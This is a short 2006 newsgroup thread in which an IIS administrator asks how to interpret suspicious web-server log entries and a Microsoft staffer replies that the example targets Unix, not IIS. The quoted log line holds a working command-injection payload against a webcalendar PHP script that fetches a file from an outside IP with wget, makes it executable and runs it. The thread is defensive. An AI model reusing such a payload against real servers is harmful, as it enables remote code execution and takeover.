Understanding W3SVC1 logs

17 Mar 2006 8:25 PM

Vic

Could anyone point me in the direction of a knowledge base or good book that
will help in understanding suspicious looking entries in the logs? I use iis
5, fully patched, anti-virus installed, updated daily and scanned daily.

For example, GET /webcalendar/tools/send_reminders.php
cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo

Thanks!

17 Mar 2006 9:00 PM

David Wang [Msft]

The request looks like a command sequence against a *nix server that has no
meaning on IIS/Windows.

--
//David
IIS
http://blogs.msdn.com/David.Wang
This posting is provided "AS IS" with no warranties, and confers no rights.
//

Show quoteHide quote

"Vic" <V**@discussions.microsoft.com> wrote in message
news:417F6FE7-3CCF-4358-AF6E-C9D2C16C8E95@microsoft.com...
> Could anyone point me in the direction of a knowledge base or good book
> that
> will help in understanding suspicious looking entries in the logs? I use
> iis
> 5, fully patched, anti-virus installed, updated daily and scanned daily.
>
> For example, GET /webcalendar/tools/send_reminders.php
>
> cmd.dat?&cmd=cd%20/tmp;wget%2083.16.187.6/haita;chmod%20744%20haita;./haita;echo%20YYY;echo
>
> Thanks!
>